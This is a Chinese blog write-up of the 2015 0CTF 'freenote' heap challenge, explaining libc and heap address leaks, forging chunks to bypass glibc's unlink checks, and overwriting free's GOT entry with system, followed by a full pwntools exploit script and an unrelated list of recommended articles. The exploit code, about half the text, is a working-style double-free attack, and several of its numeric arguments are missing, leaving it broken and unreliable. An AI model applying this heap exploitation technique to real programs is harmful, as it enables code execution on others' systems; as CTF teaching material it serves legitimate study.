这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的。

  运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以去试着寻找漏洞了,

看呀看,看呀看,发现一个问题,咦,好像在free堆的时候没有进行检查额,有趣,问题肯定就在这里了。

  详细看过0day安全的都记得书里面的Dword Shoot吧!然而,随着国内外黑客们隔段时间就喜欢搞点大新闻,所以无论在Linux和Windows上都插入了宏来验证堆上的fd和bk是否发生了修改。具体代码如下: 

 assert(p->fd->bk == p);
assert(p->bk->fd == p);

  当然,这会在后面细说的,在利用double_free之前,要想办法泄露出堆的地址,这里得看输入字符串函数了,根据套路,一般都是这里出问题。

  果不其然,这里输入字符串结尾并没有加上'/x00',说明可以读取超过预定长度的字符串了,这里来回顾一下一个chunk长啥样的,这里为了方便理解这个题的泄露方式,我自己画了一个一维的图:

  其中FD中指向next_chunk,BK指向前置指针。换句话说,只要能够得到FD或者BK的值,再通过一定的计算,就可以得到堆的地址了。而在glibc中,free之后并不会清空对中的内容,又因为如之前所说,输入并不会在末尾加'\x00'。所以这里有很多种方法可以的得到指针的值,这里选取一种容易理解的来讲解

       可以分配一个chunk,然后再将它free掉,之后再分配一个等于8字节大小的chunk,覆盖掉FD,但是此时,FD依然是之前的值,而且由于put函数直到遇到'\x00'才停止输出,完全可以得到BK的值,在经      过计算就可以得到heap的基地址了

  而且,这里还有一个挺有意思的地方,在glibc中,main Arena 在libc.so.6的数据段上,也就是说,我们也可以根据这种办法来变相得到libc.so.6的基地址,当然也可以通过固有套路来得到基地址。源码如下:

raw_input('*************************Leak_Libc*******************************8')

notelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0) new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8
print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note(1)
delete_note(0) raw_input('******************Leak_heap******************')
notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0) new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") #print leak[0:-1].encode('hex')
heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820
print "heapBase:"+hex(heapBase) delete_note(0)
delete_note(1)
delete_note(3)

  好啦,基地址拿到了,现在可以好好讲讲double_free了,在很久很久以前,那时候没有那么多加固措施,那时候进行堆攻击就挺方便的。直接溢出,伪造BK和FD就好了=_=。这个利用详细可以看看exploit-exercise, fusion的heap3,这里只简单讲一下free函数里的unlink操作了,如下:

FD = P->fd;
BK = P->bk;
FD->bk = BK; \
BK->fd = FD;

  然而,正如上文所说,加入了两个断言,所以就要相办法绕过去,这里常规的方法就是找一个指向该chunk的指针p,同时将该chunk的fd指向p-3,而bk指向P-2。这样的话就可以将*p = p-3了,同时,如果可以对*p,也就是chunk进行写的话,就可以任意写p-3之后的内存空间了。示意图如下:

  在这个题目中,通过对p进行写,然后可以将p指向got.plt 中free的位置,再将free写成system,最后再调用free就OK了!

  具体思路大致就是这些,但是,还有一个很重要的问题没有说,就是怎么得到伪造的机会以及怎么伪造,先来将怎么得到伪造的机会。

正如上文所说,本题没有检查chunk是否释放,完全可以先连续malloc三个堆,chunkA,chunkB,chunkC,再释放,根据堆的特性,这三个堆会合并,这是再分配一个小于size(chunkA)+size(chunkB)+size(chunkC)+0x20的堆,这是再对这片内存进行写,来伪造连续四个堆(貌似可以只伪造两个,但是还没有看完glibc的malloc.c的代码,所以以后再补),至于为什么伪造四个呢,这里要考虑到chunk的flag指向的是preChunk的状态,而要触发unlink操作的话,需要检查上一个chunk和下一个chunk的状态,这是就需要查看该chunk的flag和下下个chunk的flag了。在伪造的时候,需要注意的是有这么一段检查(坑的一逼)

 assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);

 所以,我们的上一段的size(也就是进行unlink操作的那个chunk),等于本段的preSize。

所以伪造的堆块如下。

payload  = ""
payload += p64(0x0) + p64(notelen+) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64() + p64(notelen+0x11)+ "\x00" * (notelen-0x20)

 下面是exp,在ubuntu可以直接使用,其它环境,请自己拿到libc.so.6的相关函数偏移地址:

#!/usr/bin/env python
from pwn import * #switch
DEBUG =
LOCAL =
VERBOSE = if LOCAL:
p = process('./freenote_x64')
else:
p = remote('127.0.0.1',) if VERBOSE:
context(log_level='debug') def new_note(x):
p.recvuntil("Your choice: ")
p.send("2\n")
p.recvuntil("Length of new note: ")
p.send(str(len(x))+"\n")
p.recvuntil("Enter your note: ")
p.send(x) def delete_note(x):
p.recvuntil("Your choice: ")
p.send("4\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n") def list_note():
p.recvuntil("Your choice: ")
p.send("1\n") def edit_note(x,y):
p.recvuntil("Your choice: ")
p.send("3\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n")
p.recvuntil("Length of note: ")
p.send(str(len(y))+"\n")
p.recvuntil("Enter your note: ")
p.send(y) if DEBUG:
gdb.attach(p) raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
delete_note() new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") leaklibcaddr = u64(leak[:-].ljust(, '\x00'))-0x3be7b8
print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note()
delete_note() raw_input('******************Leak_heap******************')
notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note()
delete_note() new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") #print leak[:-].encode('hex')
heapBase= u64(leak[:-].ljust(, '\x00'))-0x1820
print "heapBase:"+hex(heapBase) delete_note()
delete_note()
delete_note() raw_input('*******************doubel_free*****************')
notelen = 0x80 #new_note("/bin/sh\x00"+"A"*(notelen-))
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen) delete_note()
delete_note()
delete_note() fd = heapBase + 0x18#notetable
bk = fd + 0x8 payload = ""
payload += p64(0x0) + p64(notelen+) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64() + p64(notelen+0x11)+ "\x00" * (notelen-0x20) new_note(payload)
raw_input('*******************beforetest*****************')
delete_note() free_got = 0x602018 payload2 = p64()+p64()+p64(0x8)+p64(free_got)+'A'*0x10+p64(bin_sh_addr)
payload2 += 'A'*(0x180-len(payload2)) edit_note(, payload2)
edit_note(, p64(system_sh_addr))
delete_note() p.interactive()

见微知著(二):解析ctf中的pwn--怎么利用double free的更多相关文章

  1. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  2. 见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出

    1月1号写博客,也是不容易呀!大家新年快乐呀! 先从Fastbin看起,是2015年RCTF的一道pwn题,shaxian.先看看代码的大致流程,随便输入一下: 这个题目关键之处在于堆溢出,对于堆种类 ...

  3. CTF中做Linux下漏洞利用的一些心得

    其实不是很爱搞Linux,但是因为CTF必须要接触一些,漏洞利用方面也是因为CTF基本都是linux的pwn题目. 基本的题目分类,我认为就下面这三种,这也是常见的类型. 下面就分类来说说 0x0.栈 ...

  4. 转:二十一、详细解析Java中抽象类和接口的区别

    转:二十一.详细解析Java中抽象类和接口的区别 http://blog.csdn.net/liujun13579/article/details/7737670 在Java语言中, abstract ...

  5. 解析jQuery中extend方法--源码解析以及递归的过程《二》

    源码解析 在解析代码之前,首先要了解extend函数要解决什么问题,以及传入不同的参数,会达到怎样的效果.extend函数内部处理传入的不同参数,返回处理后的对象. extend函数用来扩展对象,增加 ...

  6. Python算法之动态规划(Dynamic Programming)解析:二维矩阵中的醉汉(魔改版leetcode出界的路径数)

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_168 现在很多互联网企业学聪明了,知道应聘者有目的性的刷Leetcode原题,用来应付算法题面试,所以开始对这些题进行" ...

  7. Chrome扩展开发之二——Chrome扩展中脚本的运行机制和通信方式

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  8. CTF中那些脑洞大开的编码和加密

    0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进 ...

  9. XML解析——Java中XML的四种解析方式

    XML是一种通用的数据交换格式,它的平台无关性.语言无关性.系统无关性.给数据集成与交互带来了极大的方便.XML在不同的语言环境中解析方式都是一样的,只不过实现的语法不同而已. XML的解析方式分为四 ...

随机推荐

  1. WPS是个坑

    WPS2016 10.1.0.5740 存储的EXCEL表格文件,用PHP mime_content_type函数获取到的mime类型是“application/zip”

  2. [Leetcode] Linked list cycle 判断链表是否有环

    Given a linked list, determine if it has a cycle in it. Follow up:Can you solve it without using ext ...

  3. Collection与Map的对比

    Map:HashMap.HashTable  如何在它们之间选择  一.Array , Arrays  Java所有“存储及随机访问一连串对象”的做法,array是最有效率的一种.  1.  效率高, ...

  4. JAX-WS 注解

    一.概述 “基于 XML 的 Web Service 的 Java API”(JAX-WS)通过使用注释来指定与 Web Service 实现相关联的元数据以及简化 Web Service 的开发.注 ...

  5. Idea切换svn分支,类似Eclipse的Switch功能

    vcs --> subversion --> update directory --> 勾选中 Update/Switch to specific url 重新设置新的URL即可

  6. [bzoj1208][HNOI2004]宠物收养所——splay

    题目大意 Description 最近,阿Q开了一间宠物收养所.收养所提供两种服务:收养被主人遗弃的宠物和让新的主人领养这些宠物.每个领养者都希望领养到自己满意的宠物,阿Q根据领养者的要求通过他自己发 ...

  7. arcgis for flex 学习笔记(一)

    初步认识 地图由图层.要素.样式等组成.地图上有N个图层,图层上有N个要素,每个要素可以存放点.线.面等,每个要素可以设置样式,如果显示图片.或文字均可以先创建一个mxml组件,然后设置到要素上. 面 ...

  8. Codeforces Round #391 A B C D E

    A. Gotta Catch Em' All! 题意 从给定的字符串中选取字符,问可构成多少个\(Bulbasaur\) // 想到柯南里一些从报纸上剪汉字拼成的恐吓信_(:з」∠)_ Code #i ...

  9. Python 模拟SQL对文件进行增删改查

    #!/usr/bin/env python # _*_ coding:UTF-8 _*_ # __auth__: Dalhhin # Python 3.5.2,Pycharm 2016.3.2 # 2 ...

  10. tmux下make menuconfig背景色不正常问题

    参考https://blog.tankywoo.com/2015/10/24/tmux-mutt-not-redraw-problem.html 是由于~/.bashrc或~/.zshrc设置,覆盖了 ...